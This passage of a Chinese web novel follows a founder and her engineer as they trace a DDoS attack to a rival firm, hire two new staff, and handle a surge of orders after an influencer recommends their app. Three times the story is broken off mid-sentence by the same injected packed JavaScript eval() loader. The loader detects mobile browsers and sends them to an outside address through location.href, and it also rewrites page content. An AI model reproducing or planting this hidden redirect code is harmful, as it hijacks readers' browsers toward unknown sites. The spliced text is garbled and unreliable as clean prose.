“能查到攻击来源吗?” “能,”应宽的手指没停,“攻击流量的IP地址都是假的,伪造的,但顺着链路往回追,理论上能找到真正的源头。” 他顿了顿,补了一句:“这需要点时间,而且可能会触碰到……” “灰色地带?”徐寄遥替他说完。 应宽点头。 徐寄遥沉默了几秒。 然后她说:“追,但只看不碰,先找到源头,知道是谁干的,但不进入他们的系统,不破坏,不取证,只看。” 应宽看了她一眼,点点头。 “明白。” / 下午四点,服务器恢复。 应宽忙了两个小时,代吵APP重新上线。 攻击流量还在继续,但他临时加了道防火墙,勉强挡住了。 “攻击源头找到了,”他调出一张追踪图,“是境外的一台跳板服务器,真正的攻击指令是从国内发出的,经过三层跳板,最后落到那台境外服务器上。” “能追到国内吗?” “当然,”应宽继续敲键盘,“跳板服务器的日志里有访问记录,我正在反向追踪,找到了,第二层是国内的一家云服务商,再往前……第三层,有了。” 他盯着屏幕上跳出来的IP地址,眉头皱了起来。 “这个IP……” “怎么了?” 应宽把IP地址输入搜索框,跳出来的信息让他沉默了。 徐寄遥凑过去看。 屏幕上显示的是企业信息查询页面: 【公司名称:伯牙科技有限公司】 【注册地址:北京市朝阳区建国路88号现代城18层】 【法定代表人:杨亚波】 【成立日期:2020-03-15】 又是伯牙科技。 投诉来自伯牙科技。 水军账号疑似伯牙科技。 现在DDoS攻击的源头,也指向伯牙科技。 “证据链闭环了,”应宽说,“投诉、水军、攻击,是同一家公司。” 徐寄遥盯着那个公司名字,沉默了很久。 和解大师。 那个比她早三个月上线、资金雄厚、广告铺天盖地的APP。 那个主打家庭和谐调解的APP。 现在在背后攻击她。 “怎么办?”应宽问,“要不要把这些证据公开?或者报警?” 徐寄遥没有立刻回答。 她站起来,走到窗边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239910|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼下的老太太们还在晒太阳。几个小孩在空地上追逐打闹,笑声隐约传上来。 大年初一的下午,阳光很好。 但她知道,阳光照不到的地方,有人在暗中盯着她。 “现在公开证据,我们能证明什么?”她转过身,看着应宽,“能证明伯牙科技的服务器参与了攻击,那他们可以说,那是员工个人行为,或者服务器被黑了,而他们不知情。” 她顿了顿。 “我们有的只是技术层面的线索,不是法律层面的证据。” 应宽沉默了。 他知道徐寄遥说得对。 技术上,他可以追踪到天荒地老。但法律上,这些证据的效力有限。 伯牙科技是正规公司,有法务,有公关,有资源。他们会把所有责任推给个人行为,然后全身而退。 “那就这么算了?”他问。 “谁说要算了?”徐寄遥走回桌边,拿起手机,“我们现在不公开,是因为证据不够硬,但是我们可以留着,等以后,等他们自己跳出来,等他们露出更大的破绽。” 她打开备忘录,开始打字: 【日期:2025年1月29日】 【事件记录:】 【1. 上午11:03,收到投诉,IP指向伯牙科技】 【2. 87个支持投诉的水军账号,疑似批量注册】 【3. 下午14:17,服务器遭受DDoS攻击】 【4. 攻击源头追踪,最终指向伯牙科技IP段】 【备注:暂时不公开,存档备查】 打完,她保存文件,把手机放回口袋。 “应宽。” “嗯?” “今天这个诡异的投诉,证明了一件事。” “什么事?” 徐寄遥看着他,眼睛里有光,也有阴影。 “有人在盯着我们,而且他们不希望我们活下去。” / 傍晚六点,天色渐暗。 应宽加固了服务器的防护,攻击流量还在继续,但暂时冲不进来。他乐观估计对方请的是廉价黑客服务,持续不了多久。 徐寄遥坐在电脑前,处理今天积压的订单。 第306单:女儿被父母逼婚,求助代吵。 第307单:儿子被父亲骂废物,求助代吵。 第308单:妻子被丈夫家暴,不敢直接报警,希望代吵师帮忙吓唬一下对方。 …… 她一条一条看着,心里涌起一种奇怪的感觉。 这个世界有那么多人在受苦。被父母控制,被伴侣伤害,被亲人勒索。他们不敢反抗,不会反抗,只能躲在手机后面,找一个素未谋面的代吵师帮忙。 而她,就是那个帮忙的人。 但她自己呢? 她自己也在被控制,被伤害,被勒索。只是控制她的人,是生她养她的母亲。 手机亮了。 一条短信,来自何久红: “明天中午12点,万和饭店,别迟到,人家条件可好了,你别给我丢人。” 徐寄遥盯着这条短信,没有回复。 她把手机翻过去,继续看订单。 第309单:客户ID“无处可逃”。 诉求内容:昨天那个酒醒的父亲,今天又喝了,她在楼上,不敢下去,能不能再帮帮她? 徐寄遥的手指停在屏幕上。 是昨晚那个女孩。 那个父亲砸门、母亲躲在房间里哭、她躲在楼上不敢出声的女孩。 她点开聊天记录,看到女孩昨晚最后发的消息: “谢谢你们,警察把他带走了,我和妈妈安全了,新年快乐。” 那是凌晨一点多。 现在,她父亲又喝了。 徐寄遥深吸一口气,开始打字: “客户‘无处可逃’,您的订单已被‘以德服人’接单。现在情况如何?请描述。” 几秒钟后,回复弹出来: “他在楼下客厅,已经睡了,我不知道他什么时候醒,我妈在收拾东西,我们想趁他喝醉这会儿走,我妈说我们没有地方去,你们能帮我们找个地方吗?” 徐寄遥看着这条消息,沉默了很久。 然后她抬起头,看向应宽。 “应宽。” “嗯?” “你知道哪里有那种……临时的、安全的、能收留家暴受害者的地方吗?” 应宽愣了一下,然后开始搜索。 “有,妇女庇护所。西城区有一个,我查到了电话。” 他把电话报给徐寄遥。 徐寄遥拨过去,确认还有空位,然后把这个地址和电话发给了“无处可逃”。 “这是西城区妇女庇护所的地址和电话,你们现在收拾东西过去吧,到了之后给我发个消息。” “好的!谢谢你们!” “不客气。” 聊天窗口安静了。 徐寄遥放下手机,靠在椅背上。 窗外的天彻底黑了。远处的居民楼里,一盏一盏的灯亮起来,像星星。 应宽在旁边继续加固服务器。键盘声轻轻响着,有种安心的节奏。 “徐寄遥。”他突然开口。 “嗯?” “我们会被他们搞垮吗?” 徐寄遥想了想,摇头。 “不知道。” “那你怎么还这么淡定?” “因为不淡定也没用,”她站起来,走到窗边,“怕也没用,慌也没用,该来的总会来,我们能做的,只有见招拆招。” 应宽看着她的背影,没有说话。 窗外,又一朵烟花炸开。红的绿的,照亮夜空。 “明天中午,”徐寄遥忽然说,“我妈非要我去相亲。” 应宽愣了一下:“那你去吗?” “不去。” “那你怎么跟她说?” 徐寄遥回过头,看着他。 “不说,”她说,“我直接消失。” 应宽沉默了两秒,然后笑了。 “你这是物理隔离的预演?” “算是吧。” 她走回桌边,继续看订单。 第310单。第311单。第312单。 一个又一个需要帮助的人,在屏幕那头等着她。 而她,也只能先帮他们。 至于她自己,等有空再说吧。 4. 新成员 大年初二的早上八点,徐寄遥被手机震醒。 她摸过来一看,是应宽的消息: “有人来面试,九点,你收拾一下。” 徐寄遥盯着这条消息看了五秒,脑子才从睡眠状态切换到工作状态。 面试? 她坐起来,揉了揉太阳穴。 昨晚处理订单到凌晨两点,睡了不到六个小时。但“有人来面试”这五个字,足够让她清醒。 代吵APP上线一个月,她和应宽两个人死撑。她负责策略和执行,他负责技术和服务器。两个人干五个人的活,累是真的累,但还能撑。 现在居然有人主动来面试? 她翻身起床,洗漱换衣服,八点五十推开门走进客厅。 应宽已经坐在电脑前了,面前摆着两杯豆浆和几个包子。看见她出来,抬手指了指洗手间的方向:“面试的人在那边,刚到。” 徐寄遥愣了一下:“洗手间?” 应宽推了推眼镜,“她说先借用一下洗手间,补个妆。” 话音刚落,洗手间的门开了。 走出来的是一个年轻女孩,二十四五岁的样子,个子很高很壮,不说虎背熊腰吧,也绝对算女性里高大威猛的了。 但跟她身材形成反差的,是甜美可爱的脸蛋,眼睛大而有神,笑起来有两个浅浅的酒窝。扎着高马尾,穿一件鼓鼓的墨绿色面包棉服,里面是一件连帽卫衣,下面是宽松的运动裤和球鞋。 女孩脱下面包服,搭在手臂上。 卫衣不是宽松款式,挺贴身的,手臂上的肌肉线条清晰分明。不是那种健身网红的花架子,是实打实的、有力量感的大肌肉。 “你们好!”女孩大步走过来,声音清脆响亮,“我叫吴小糖,来面试外勤专员!” 她伸出手,和徐寄遥握了一下。 徐寄遥感觉自己的手被一双温暖有力的手掌包裹住,力度恰到好处。既不轻飘飘,也不过分用力。 “请坐。”她示意沙发。 吴小糖一屁股坐下,马尾随着动作甩了一下。 她四下打量这个办公室。 客厅改造的工作区,两张并排的电脑桌,一块白板,一张真皮三人位沙发,一张原木茶几,一张长方形原木餐桌,几把椅子。 “你们这儿挺温馨的。”她说。 应宽在旁边差点被豆浆呛到。 温馨?这个老小区的顶层,三室一厅改的破工作室,家具都是二手市场淘的,墙角还有发霉的痕迹。 温馨? 但吴小糖的表情很真诚,她是真的这么觉得。 “吴小糖,”徐寄遥在她对面坐下,“24岁,之前是健身房教练?” “对,”吴小糖点头,“大专毕业,体育学院健身专业,毕业后在一家连锁健身房干了两年。” “为什么辞职?” 吴小糖的笑容淡了一点。 “老板骚扰女学员,”她说,语气平静,“我第一次发现的时候,找他谈过,他说我想多了,让我别管闲事,第二次发现,我直接当着全健身房的面骂了他一顿,然后我就辞职了。” 徐寄遥看着她的眼睛。 那双眼睛很亮,没有闪躲,没有犹豫。 “你骂他什么?” “骂他老色批!”吴小糖咧嘴一笑,“我就在健身房所有人面前,臭骂了他一顿,简直爽爆了。” 应宽在旁边插了一句:“你当时没想过后果?万一你们老板报复你呢?” 吴小糖转过头看他,眨眨眼:“想过啊,所以我在跟他摊牌前,花了一段时间收集证据,拍到了他揩油的照片,还偷偷录了几段监控画面,可以说是证据确凿了,而且我有功夫傍身,我学过柔道。” 她说着,站起来,从包里翻出一本证书,递给徐寄遥。 “蓝带,就算打他一顿也不费劲。” 徐寄遥接过证书,看了一眼,递还给吴小糖。 “我们不需要打架。” “嗯嗯,我知道,”吴小糖坐回去,“你们挂在APP的招聘信息我都认真看了,外勤专员,负责现场保护、冲突控制、客户陪同,不参与肢体冲突,对吧。” 她顿了顿,继续说: “我也不喜欢打架,但我喜欢保护人,健身房那件事之后,我一直在想,如果我当时更强一点,是不是能更好地保护那些女学员?我学柔道,不是为了打人,是为了……如果有人想动手,我能让他动不了手。” 徐寄遥沉默了五秒。 然后她问:“你知道我们做的是什么吗?” “代吵APP!”吴小糖脱口而出,“帮人解决矛盾,用专业的方式代替客户沟通,你们的理念是‘不制造对立,只解决矛盾’,你们的创始人叫徐寄遥,32岁,之前在XX互联网公司当产品经理,你们的技术负责人叫应宽,35岁,XX互联网公司前首席工程师,你们上线一个月了,还没有融资,创始人自己负债30万。” 应宽又差点被豆浆呛到。 徐寄遥的眉头微微挑了一下。 “这些信息你从哪儿查的?” “网上,”吴小糖老实回答,“你们没有公关,信息不多,但是我找了一些你们服务过的客户在小红书发的帖子,还有几个在知乎上讨论代吵APP的问答,拼拼凑凑,大概能知道你们是什么样的人。” 她看着徐寄遥,眼神认真:“我查这些,是因为我不想随便找一个工作,我想做有意思的事情,想跟一群我认可的人一起上班。” 徐寄遥看着她,忽然想起十年前的自己。 那时候她也这样,眼睛里有光,说话直接,相信世界上有值得拼命去做的事。 “行,”徐寄遥站起来,“试用期一个月,工资三千五,包午饭,应宽做饭,转正后五千,出外勤有补助,加班也有,但是前期可能不会多,干不干?” 吴小糖蹭地站起来,眼睛亮得像灯泡:“干!” 她伸出手,和徐寄遥用力握了握,“徐总!以后请多指教!” 然后又转向应宽,伸出手。 应宽愣了一下,站起来,和她握手。 吴小糖握着他的手,上下摇了三下,力度大得应宽的肩膀都跟着晃。 “应总!以后请多关照!” 应宽推了推眼镜,表情有点懵:“……互相关照。” 徐寄遥在旁边看着这一幕,嘴角没忍住上扬了一下。 / 吴小糖正式入职的第一件事,是吃午饭。 应宽做饭。 这是代吵APP招聘时开出的条件之一。 “包午饭,CTO亲自下厨”。 应宽当时抗议过,但抗议无效。徐寄遥的理由是:你做饭那么好吃,不做就是浪费才华。 事实证明,她说得没错。 应宽做饭的水平出乎意料地好。 四菜一汤,四十分钟搞定。 红烧排骨、青椒肉丝、西红柿炒蛋、蒜蓉西兰花、紫菜蛋花汤,全是家常菜,但火候恰到好处。 吴小糖吃得眼睛都眯起来了。 “太好吃了!应总,你这手艺开个私房菜都行!” 应宽低头扒饭,耳朵尖有点红,“随便做的。” “随便做都这么好吃?认真做还得了!”吴小糖夹了一大筷子青椒肉丝,塞进嘴里,“唔唔唔,好吃!” 徐寄遥慢条斯理地吃着,看着吴小糖狼吞虎咽的样子,觉得自己食欲都好起来了。 “你是从哪儿过来的?” “家里,”吴小糖含糊不清地说,“昨天晚上赶火车,饭都没顾上吃。” “赶火车?” “嗯嗯,我从老家来的,”她咽下一口饭,“我家在南边一个小县城,我妈开小超市的,过年回去陪她待了两天,昨天打开你们APP,看到你们一直在回复订单,知道你们过年也没休息,我就连夜买了火车票赶过来面试。” 应宽抬起头:“你妈一个人过年?” “习惯了,”吴小糖的语气很平常,“我爸和我妈在我小时候就离了,我跟妈过,我妈说一个人过年清净,不用伺候谁。” 她说着,又扒了一大口饭。 徐寄遥放下筷子,看着她。 “你妈知道你来找工作吗?” “知道的,”吴小糖点头,“我跟她说了,来试试,成了就留下,不成再回去,她说年轻人就该出来闯闯,别跟她一样,一辈子窝在小县城。” 她的语气依然平常,但眼睛里有一闪而过的东西。 徐寄遥看出来了,但没有点破。 “吃完饭,”她说,“我给你讲讲工作内容。” “好嘞!” 十分钟后。 吴小糖吃完饭,抹抹嘴,坐直身体,一副认真听讲的样子。 徐寄遥站起来,走到白板前。 在白板上写下:代吵APP。 接着又在下面写了几行小字: 不制造对立,只解决矛盾 法律依据+心理学模型+数据分析 外勤执行只保护不打架 “我们目前的分工,”她指着白板,“应宽负责技术和数据,我负责策略和线上执行,你来了之后,主要负责外勤。” “外勤具体做什么?” “客户如果需要现场对质,或者担心人身安全,你陪同前往,”徐寄遥说,“你的任务是保护客户,控制局面,不让冲突升级,不打人,不骂人,而且也要保护自己,必要的时候报警。” 吴小糖眨眨眼:“控制局面?” “对,”徐寄遥看着她,“你有那个条件。” 吴小糖低头看了看自己手臂上的肌肉,咧嘴笑了。 “这个我擅长,以前在健身房,有男的想占女学员便宜,我就站过去,笑呵呵地看着他,他看看我,再看看我胳膊,自己就走了。” 徐寄遥看着她,点了点头。 “如果对方真的动手,我会先尝试控制,”吴小糖的表情认真起来,“我学过柔道,知道怎么在不伤害对方的情况下把人制服。” “很好。” / 下午三点,第二个面试者到了。 俞彩虹进门的时候,徐寄遥正在给吴小糖讲解最近的几个订单案例。 应宽最先注意到门口的人,抬起头,愣了一下。 门口站着一个四十多岁的女性,短发,穿一套很宽松的大地色大版西服套装,里面是黑色衬衫,第一颗纽扣扣着,脚上是一双低跟方头皮鞋,皮质很好。手上戴着一块老式机械表,表盘有点磨损,但看得出是好东西。 她的站姿很直,目光温和。 徐寄遥一看到她的眼睛,就知道这个人不简单。那是一种见过世面的眼神,不锐利,但什么都看得清。 “请问,”她开口,声音温和清晰,“这里是代吵APP的工作室吗?我找徐寄遥。” 徐寄遥站起来:“我是,您是?” “俞彩虹,”她走进来,环顾了一下这个略显逼仄的空间,嘴角浮起一丝笑意,“你们这儿挺有意思的。” 今天第二个人说有意思了。 应宽在旁边默默腹诽,但没说出来。 “请坐。”徐寄遥示意沙发。 吴小糖跑去倒水。 俞彩虹在沙发上坐下,把包放在旁边。 下一步,她从包里拿出一个透明文件夹,里面是薄薄的几张A4纸。 “这是我的基本情况,可以先了解。”她说着,把文件夹递给徐寄遥。 她的动作很从容,不急不缓,有一种特有的节奏感。 徐寄遥在她对面坐下,接过文件夹,翻开看,是俞彩虹的简历。 她花了几分钟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“太直白了,”俞彩虹说,“听起来像帮人吵架的,实际上你们做的是谈判、调解、维权,名字和内容有差距,会影响用户认知。” 徐寄遥和应宽对视一眼。 “不过,”俞彩虹话锋一转,“名字是次要的,重要的是你们在做的事,用专业的方式,帮普通人解决家庭矛盾,这件事,值得做。” 她看着徐寄遥,眼神认真: “我可以帮你们,法律咨询、心理分析、社会资源调动,我在学术界和社会上小有人脉,需要的时候或许能用上。” 徐寄遥沉默了几秒。 然后她问:“俞老师,您想要什么?” 俞彩虹看着她,笑了。 “聪明,”她说,“我想要的很简单,一个研究样本。” “样本?” “我想跟踪记录你们的工作,”俞彩虹说,“每一个案例,每一次介入,每一个客户的变化,不是写论文,是想真正搞明白,在数字时代,人们怎么处理家庭矛盾?技术能帮上什么忙?边界在哪里?” 她顿了顿。 “二十年理论研究,不如亲眼看看真实世界怎么运转,你们给我这个观察的机会,我给你们我的专业支持,公平吧?” 徐寄遥看着她。 吴小糖在旁边端着水杯,大气不敢出。应宽的手指停在键盘上,也没敲。 然后徐寄遥伸出手。 “欢迎你,俞老师,但我还是不能让你白干活,我给你每个月开五千……不是工资,只是个生活费,等后面APP变现的情况好转了,会增加的。” “两千,既然是生活费,两千就够了。” 俞彩虹握住她的手,力度温和而稳定。 “还有,别叫我老师,”她说,“叫我彩虹吧,或者直接叫俞彩虹,从现在起,我是你们的同事。” 吴小糖在旁边终于憋不住了,把水杯递过去,眼睛亮晶晶的: “彩虹姐!我叫吴小糖!也是今天刚入职的,外勤专员!以后请多关照!” 俞彩虹接过水杯,看着她,笑意更深了。 “外勤专员?”她打量着吴小糖的体格子,点点头,“你这个岗位选对了。” 吴小糖有点不好意思,挠了挠头。 应宽在旁边终于插了一句:“所以现在,我们有四个人了?” 徐寄遥站起来,走到白板前。 白板上,还写着“代吵APP”几个字。 她拿起笔,先写了自己和应宽的名字,又继续写了两个名字: 吴小糖(外勤专员) 俞彩虹(专家顾问) 然后她退后一步,转身回头。 “对,”她说,“我们有四个人了。” / 傍晚六点,俞彩虹离开了。她说明天开始正式上班,她的说法是观察学习。 吴小糖没走。 她在附近找了个短租的房子,月租八百,明天搬过去。今晚先在工作室的沙发上凑合一晚。 “没事没事,”她躺在沙发上,双手枕在脑后,“我以前在健身房值班,直接把瑜伽垫铺地上睡,这沙发挺好的。” 应宽坐在电脑前,继续加固服务器。 攻击流量还在继续,但已经小多了。估计对方发现攻不进来,放弃了。 徐寄遥坐在自己的位置,翻看着今天的订单。 第321单。第322单。第323单。 一条一条,都是求助。 窗外又暗了一点。 吴小糖在沙发上发出轻微的鼾声。 她睡着了,睡得很沉,像一只累坏了的小动物。 应宽看了她一眼,站起来,去杂物间找出一床羽绒被,轻轻盖在她身上。 吴小糖翻了个身,嘟囔了一句什么,继续睡。 应宽回到座位上,继续敲键盘。 徐寄遥看着这一幕,忽然觉得心里有什么东西,悄悄松动了一点。 “应宽。” “嗯?” “谢谢。” 应宽的手指停了一下,然后继续敲。 “嗐,瞎客气。” 窗外,夜色渐浓。 代吵APP的工作室里,三个人,两盏灯,一屋子安静。 明天开始,就是四个人了。 5. 明星客户的订单 大年初三上午九点,徐寄遥被一阵笑声吵醒。 她推开房门,看到客厅里吴小糖正蹲在地上,对着一台二手咖啡机傻笑。 应宽站在旁边,手里拿着螺丝刀,表情有点无奈。 “这台机器,”应宽说,“我修了四十分钟。” “它现在能用了!”吴小糖拍拍咖啡机,“应总你太厉害了!连咖啡机都会修!” “咖啡机的原理比服务器简单多了……” “所以你很厉害!我就不会修!” 徐寄遥靠在门框上,看着这一幕,嘴角不自觉地上扬了一点。 然后她看到手机上弹出一条消息。 是小红书的推送提醒。 “您关注的用户鹿小溪发布了新笔记”。 鹿小溪,本名陆琳,25岁,小红书百万粉博主,主要分享穿搭和美妆。 徐寄遥关注她,是因为之前调研的时候发现,她的原生家庭问题很典型,父母离异,跟着妈妈过,妈妈控制欲极强,每天发几十条消息道德绑架她。 徐寄遥点进去看了一眼。 新笔记的标题是: 《大年初三,我妈又哭了。。我该怎么办?》 正文是一段很长的文字,配了一张聊天截图。 截图里,陆琳的妈妈发了长长一串消息: “琳琳,妈一个人过年,你知道多冷清吗?” “你为什么不回妈消息?你是不是不要妈了?” “妈把你养大容易吗?你现在出名了,就不认妈了?” “你知不知道邻居怎么说我?说你出名了就忘了娘!” “妈不求你什么,就求你多陪陪妈,多回回妈消息,这也不行吗?” …… 陆琳在笔记里写道: “我不是不回她消息,我回了,我每天回,但不管我回多少,她都觉得不够。 “她说我出名了就不认她,可我只是工作忙,她说邻居说她闲话,可我根本不认识那些邻居。” “我好累。我真的好累。 “我不想当不孝女,但我也不知道该怎么办。” 笔记发出来两个小时,点赞5万,评论2万。 评论区吵翻了。 有人说:你妈是爱你的,你要理解她。 有人说:这是道德绑架!你有权利过自己的生活! 有人说:建议你拉黑她,这种妈不要也罢。 有人说:你怎么能这么说你妈?你以后当了妈就知道了! 徐寄遥看完,沉默了几秒。 然后她抬起头,看向应宽。 “应宽,我想联系一下鹿小溪。” 应宽愣了一下:“那个小红书博主?” “对。” “干什么?” 徐寄遥没有回答。她打开电脑,开始写一份文档。 / 下午两点,陆琳的电话打了进来。 “请问,是代吵APP吗?” 她的声音有点沙哑,带着明显的疲惫。 “我是陆琳,我看到你们在小红书给我的私信了,你们说能帮我?” 徐寄遥按下免提,让应宽和吴小糖都能听到。 “陆小姐你好,我是代吵APP的创始人徐寄遥,方便的话,我想多了解一些你的具体情况。” 电话那头沉默了几秒,然后陆琳开始说。 她说话的时候,声音一直在抖。 “我妈、我妈以前不是这样的,小时候她对我很好,一个人把我拉扯大,但自从我开始做博主,有了一点粉丝,她就变了。” “她开始每天给我发微信,几十条几十条地发,如果我回得慢,她就打电话,打到我接为止,如果我接了,她就哭,说我不关心她,说我出名了就忘了她。” “我跟她解释过很多次,说我工作忙,压力大,她听不进去,她只觉得自己被抛弃了。” “前几天过年,我实在受不了,就没回家,她在电话里哭了两个小时,然后昨天晚上,她在家族群里发消息,说我不孝,说养女儿不如养条狗。” 陆琳的声音开始哽咽。 “现在所有的亲戚都在骂我,说我忘本,说我没良心,说我妈一个人把我拉扯大不容易,我不知道该怎么办,我不想当不孝女,但我真的,我真的快被她逼疯了。” 她说完,电话里只剩压抑的抽泣声。 吴小糖在旁边听得握紧了拳头,但忍着没说话。 应宽看了徐寄遥一眼,眼神里写着“这个确实难搞”。 徐寄遥沉默了几秒,然后开口,声音平静但带着温度: “陆小姐,我听完你的描述,有三个初步判断。” 陆琳的抽泣声停了一下。 “第一,你妈妈的行为模式,符合NPD,也就是自恋型人格障碍的典型特征,不是她坏,是她病了,她的世界里,只有自己的感受是真实的,她无法共情,所以你的感受她感受不到。” “第二,你现在陷入的是道德绑架的经典陷阱。她用‘我养你大’‘我一个人不容易’这些理由,让你产生愧疚感,从而控制你的行为。” “第三,比较让人无奈的是,这个问题没有完美的解决方案,你不能改变她,你只能改变自己应对她的方式。” 陆琳的声音从电话里传来:“那我该怎么办?” 徐寄遥看了俞彩虹一眼。 俞彩虹早上刚来,正坐在角落里安静地听。她点点头,示意徐寄遥继续说。 “我给你三个建议,”徐寄遥说,“第一,物理隔离,每天固定时间回她消息,其它时间不要联系,她打电话也不要接,可以回一条消息说‘在忙,晚点说’,坚持一段时间,让她习惯你的节奏,而不是你被她带着走。” “第二,信息降级,她发十句,你回一句,她如果哭诉,你就回‘知道了’,要是她骂你,你就不回,不要给她的负面情绪提供燃料。” “第三,法律兜底,如果她继续在公共场合侮辱你,你可以先警告说要起诉她,具体是侵犯你的名誉权,如果警告无效,你可以考虑真的去起诉,我知道这听起来很残忍,但有时候,法律边界是唯一能让NPD患者清醒的东西。” 陆琳沉默了很久。 “可是、她是我妈啊。” 徐寄遥的声音依然平静: “陆小姐,我问你一个问题。” “你问。” “如果你母亲是身体上患病,你会因为她是你妈妈,就不带她去看医生吗?” “当然不会。” “那她现在是心理上的病,你纵容她,不设边界,等于不让她看病,让她病得更重,所以,你设边界,并不是伤害她,是在帮她。” 电话那头沉默了足足十秒。 然后陆琳的声音响起,比刚才稳了一点: “我、我好像明白了。” / 下午四点,陆琳在小红书发布了新的笔记。 标题是: 《我找了代吵师,他们说,我妈病了》 笔记里,她没有提代吵APP的名字,只是说自己找了专业人士咨询。她把徐寄遥的分析用自己的话复述了一遍,最后写道: “原来这么多年,我一直做错了。我以为顺着她就是爱她,其实是在害她。今天开始,我要学着设边界。不是为了反抗她,是为了帮她看病。” 笔记发出去十分钟,评论区炸了。 “代吵师是什么?求推荐!” “我妈也是这样!我该怎么办?” “姐妹你太勇敢了,我都不敢反抗我妈。。” “求代吵师联系方式!我也需要!” 陆琳没有直接回复,而是给徐寄遥发了条消息: “徐总,你们APP,我可以公开推荐吗?” 徐寄遥看着这条消息,心跳漏了一拍。 她抬头看向应宽:“你觉得呢?” 应宽推了推眼镜:“如果她推荐,我们的流量可能会爆炸,服务器可能扛不住,但是,扛不住也得扛,这是机会。” 俞彩虹在旁边开口:“但要做好准备,一旦曝光,质疑和攻击也会来。” 徐寄遥想了想,给陆琳回了消息: “可以,谢谢。” 三分钟后,陆琳的第三条笔记发布了。 标题只有几个字: 《代吵APP,救我命的APP》 正文里,她详细写了代吵APP的下载方式、使用流程,以及她和“以德服人”的沟通过程。她写道: “代吵师‘以德服人’,她说的话,让我第一次觉得被理解了。如果你也在被原生家庭困扰,去试试吧。不是让你和父母吵架,是让你学会保护自己。” 笔记发出去一个小时,点赞再破5万。 代吵APP的后台,订单量开始暴涨。 应宽盯着监控面板,手指在键盘上敲得飞快。 “服务器负载70%……80%……90%……” “扛得住吗?”徐寄遥问。 “正在加资源,”应宽的额头开始冒汗,“但再这样下去,撑不过一个小时。” 吴小糖在旁边急得团团转:“怎么办怎么办?” 俞彩虹拿起手机:“我认识一个做云服务的,打电话问问能不能临时扩容。” 徐寄遥站在原地,看着那个不断跳动的数字,脑子里飞速转着。 100单……300单……700单…… 代吵APP上线32天,最高日订单是昨天的321单。现在,不到两个小时,订单量已经翻倍。 “应宽。”她开口。 “嗯?” “把所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239912|197680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有非核心服务关掉,只保留订单接收和沟通功能,社区、帮助中心,全关。” 应宽愣了一下:“那些关了,用户体验会下降。” “现在最重要的是活下去,”徐寄遥的声音很稳,“用户体验以后可以补,服务器如果崩了,今天就白干了。” 应宽点点头,开始操作。 监控面板上的负载数字慢慢回落。 85%……80%……75%…… “稳住了。”他长出一口气。 徐寄遥这才发现自己手心全是汗。 / 晚上八点,订单量突破1000单。 从昨天的321单,到今天的1023单,一天涨了三倍。 陆琳的推荐还在发酵。 小红书、微博、知乎,到处都是关于“代吵APP的讨论。有人夸,有人骂,有人质疑,有人求下载链接。 应宽统计了一下数据: 新增用户:2.3万 新增订单:702单(截止晚八点) 用户来源top3:小红书(78%)、朋友圈推荐(12%)、其他(10%) “我们火了。”他说,语气里带着点不可思议。 吴小糖在旁边蹦了起来:“火了火了火了!我们火了!” 俞彩虹坐在角落里,嘴角带着笑意。 徐寄遥站在窗边,看着外面的夜景。 万家灯火,比昨天更多了。 手机亮了。 是陆琳的消息: “谢谢你们,我妈刚才又打电话了,我没接,然后我按照你说的,给她回了一条‘在忙,晚点说’,她没再打过来,这是第一次。” 徐寄遥看着这条消息,沉默了很久。 然后她回复:“做得很好,慢慢来。” 放下手机,她转回身。 应宽、吴小糖、俞彩虹都看着她。 “今天,”徐寄遥开口,“我们收到多少订单?” 应宽看了一眼数据:“一千零二十三单,平均每个订单帮一个人,就是一千零二十三个人。” 吴小糖补充:“不对,每个订单背后可能还有家人,比如陆琳那种,帮了她,也间接帮了她妈妈,所以可能有好几千人!” 俞彩虹笑着点头:“小糖说得对,你们在做的事,影响的不是一个人,是一个个家庭。” 徐寄遥看着他们,忽然觉得眼眶有点热。 她很快压下去了。 “今晚我请客,”她说,“楼下烧烤摊,随便点。” 吴小糖欢呼一声,第一个冲出门去。 应宽慢慢站起来,活动了一下僵硬的肩膀,跟在她后面。 俞彩虹走到徐寄遥身边,轻声说:“感觉怎么样?” 徐寄遥想了想,说:“还行。” 俞彩虹笑了:“那就行,慢慢来。” 两人一起走出门。 楼下的烧烤摊烟雾缭绕,吴小糖已经点了一大堆,正在跟老板讨价还价。 应宽站在旁边,看着手机上的监控面板,确保服务器没问题。 徐寄遥在塑料凳上坐下,抬头看天。 今晚没有星星,只有城市灯火映出的橙红色夜空。 但她觉得,比星星好看。 / 凌晨一点,所有人都睡了。 吴小糖睡在沙发上,盖着羽绒被。俞彩虹睡在杂物间临时支起的小床上。应宽趴在自己电脑桌前,打起了轻微的鼾。 徐寄遥一个人坐在窗边,手机屏幕亮着。 是陆琳发来的最后一条消息: “徐总,我刚才做了一个决定,我打算下个月带我妈去看心理医生,她不一定会去,但我想试试,不管结果如何,至少我试过了,谢谢你们让我有勇气去试。” 徐寄遥看完,把手机放到一边。 她想起何久红。想起那些相亲短信,那些电话,那些骂她“没有人要”的话。 如果有一天,她也能带何久红去看心理医生……不,何久红不会去的。 NPD患者永远不会觉得自己有病。 